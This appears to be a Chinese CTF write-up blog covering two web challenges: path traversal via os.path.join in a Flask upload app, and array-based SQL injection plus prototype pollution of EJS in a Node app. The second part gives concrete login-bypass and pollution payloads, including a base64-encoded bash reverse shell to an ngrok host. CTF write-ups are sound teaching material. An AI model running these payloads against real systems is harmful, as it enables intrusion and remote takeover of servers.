NSSCTF的web题目记录

[NISACTF 2022]babyupload

image-20220423220521330

image-20220423220526700

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)
# 创建一个表名为files 值为id 和 path 内容为text 并且 含有primary key
SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db(): #返回g对象的_database属性值
    g_db = getattr(g, '_database', None)
    if g_db is None:#如果存在
        g_db = g._database = sqlite3.connect("database.db")#就连接databae.db
    return g_db


@app.before_first_request
def setup():#删除database.db文件
    os.remove("database.db")
    cur = db().cursor()#获取游标
    cur.executescript(SCHEMA)#执行脚本


@app.route('/')
def hello_world():
    return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():#flask下载文件,将网站源码发送
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:#上传文件不存在重定向到/
        return redirect('/')
    file = request.files['file']#
    if "." in file.filename:#filename中有.就结束返回403
        return "Bad filename!", 403
    conn = db()#连接db
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))#将uid和filename写入数据库
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)#将文件保存在uploads/filename下
    return redirect('/file/' + uid)#重定向到/file/uid


@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))#查询文件路径
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])
#进行路径拼接print("2:",os.path.join('/aaaa','/bbbb','/ccccc.txt')) #不良写法习惯
    # / ccccc.txt
    # print("22:", os.path.join('/aaaa/', 'bbbb/', 'ccccc.txt'))  # 通常可以这样写
    # aaaa/bbb/ccccc.txt
    with open(os.path.join("uploads/", res[0]), "r") as f:#传入/flag可以读取,就变成了/flag
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

image-20220423221146612

image-20220423221155647

[GKCTF 2021]easynode

读源码

const express = require('express');
const format = require('string-format');
//const {select, close} = require('./tools');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
//const {generateToken, verifyToken} = require('./encrypt');
var cookieParser = require('cookie-parser');
app.use(express.urlencoded({extended: true}));
app.use(express.static((__dirname + '/public/')));
app.use(cookieParser());

//生成一个safeQuery对象 let生成一个变量
let safeQuery = async (username, password) => {
//生成一个只读变量
    const waf = (str) => {
        // console.log(str);
        blacklist = ['\\', '\^', ')', '(', '\"', '\'']//定义黑名单
        blacklist.forEach(element => {
            if (str == element) {//如果传入的str等于黑名单中的值就把str替换为*
                str = "*";
            }
        });
        return str;//返回str
    }
//这里总共有两步操作首先是通过数组去绕过弱类型比较,在者是通过长度来绕过也就是i,当只有有*的时候它就会进行拼接操作,那么原先的数组就变成了字符串,这个时候,由于i已经足够大了,就算开始以字符串来进行挨个过滤,
    //也会导致admin'过滤不到,也就是说当存在多少个数组就会有多少个前面的字符过滤不到.下面有图
    const safeStr = (str) => {//
        for (let i = 0; i < str.length; i++) {//对str进行遍历
            if (waf(str[i]) == "*") {//如果str的为*
                //截取从零开始的前i个字符并在中间拼接上*
                str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
            }

        }
        return str;
    }

    username = safeStr(username);//对username和password进行过滤
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'", username.substr(0, 20), password.substr(0, 20));
    // console.log(sql);//进行sql查询,并且将js对象转换为json字符串在将json字符串转换回js对象
    result = JSON.parse(JSON.stringify(await select(sql)));
    return result;
}
//req请求体,res响应体
app.get('/', async (req, res) => {
    const html = await ejs.renderFile(__dirname + "/public/index.html")//渲染输出/public/index.html
    res.writeHead(200, {"Content-Type": "text/html"});//返回200响应头并定义响应头为
    res.end(html)//响应结束
})


app.post('/login', function (req, res, next) {

    let username = req.body.username;//req中的body的username
    let password = req.body.password;
    safeQuery(username, password).then(//调用safeQuery对象对username和password进行过滤
        result => {//then进行异步执行,先执行前面的,接着执行后面的
            if (result[0]) {
                const token = generateToken(username)//生成token
                res.json({//对body加json处理,传入token
                    "msg": "yes", "token": token
                });
            } else {
                res.json(
                    {"msg": "username or password wrong"}
                );
            }
        }
    ).then(close()).catch(err => {//接着关闭
        res.json({"msg": "something wrong!"});//如果出错就捕获错误
    });
})

//admin路由
app.get("/admin", async (req, res, next) => {
    const token = req.cookies.token//得到cookies的token
    let result = verifyToken(token);//验证token
    if (result != 'err') {//如果结果不等于err
        username = result
        var sql = `select board from board where username = '${username}'`;
        var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
        board = JSON.parse(query[0].board);//解码第一条语句为js对象
        console.log(board);//
        const html = await ejs.renderFile(__dirname + "/public/admin.ejs", {board, username})
        res.writeHead(200, {"Content-Type": "text/html"});
        res.end(html)
    } else {
        res.json({'msg': 'stop!!!'});
    }
});
//addAdmin
app.post("/addAdmin", async (req, res, next) => {
    let username = req.body.username;
    let password = req.body.password;
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result != 'err') {
        gift = JSON.stringify({
            [username]: {
                name: "Blue-Eyes White Dragon",
                ATK: "3000",
                DEF: "2500",
                URL: "https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"
            }
        });
        var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ', username, password);
        select(sql).then(close()).catch((err) => {
            console.log(err)
        });
        var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ', username, gift);
        console.log(sql);
        select(sql).then(close()).catch((err) => {
            console.log(err)
        });
        res.end('add admin successful!')
    } else {
        res.end('stop!!!');
    }
});


app.post("/adminDIV", async (req, res, next) => {
    const token = req.cookies.token

    var data = JSON.parse(req.body.data)

    let result = verifyToken(token);
    if (result != 'err') {
        username = result;
        var sql = 'select board from board';
        var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
        board = JSON.parse(query[0].board);
        console.log(board);
        for (var key in data) {
            var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
            //这里使用extend进行合并实际上是类似的合并方法,使用了json.这便使得__proto__不会被直接解析成为原型,从而产生原型链污染
            extend(board, JSON.parse(addDIV));
        }
        sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
        select(sql).then(close()).catch((err) => {
            console.log(err)
        });
        res.json({"msg": 'addDiv successful!!!'});
    } else {
        res.end('nonono');
    }
});


app.listen(1337, () => {
    console.log(`App listening at port 1337`)
})

image-20220424231433080

username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=(&password=123456

login登录

image-20220425124231454

{"msg":"yes","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjpbImFkbWluJyMiLCIxIiwiMSIsIjEiLCIxIiwiMSIsIjEiLCIxIiwiMSIsIigiXSwiZXhwIjoxNjUwODYzNTQ3LCJpYXQiOjE2NTA4NjE3NDd9.2iXB8qLSvHTm4KNs7TRLNenf82wobE6p7hsawIMa9r8"}

那到token,接着去创建用户,拿着这个token

username=__proto__&password=123456

image-20220425124524381

拿__proto__的token

image-20220425124638478

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjoiX19wcm90b19fIiwiZXhwIjoxNjUwODYzNzk1LCJpYXQiOjE2NTA4NjE5OTV9.aPqkweKaRvIXpIhNFV9dNJdO4I_f9VK9oWz_klHIzqY

接着拿着token去adminDIV去污染data

data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5qcC5uZ3Jvay5pby8xNTQzMiAwPiYxIiA=|base64 -d|bash');var __tmp2"}

image-20220425130507130

image-20220425132624155

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值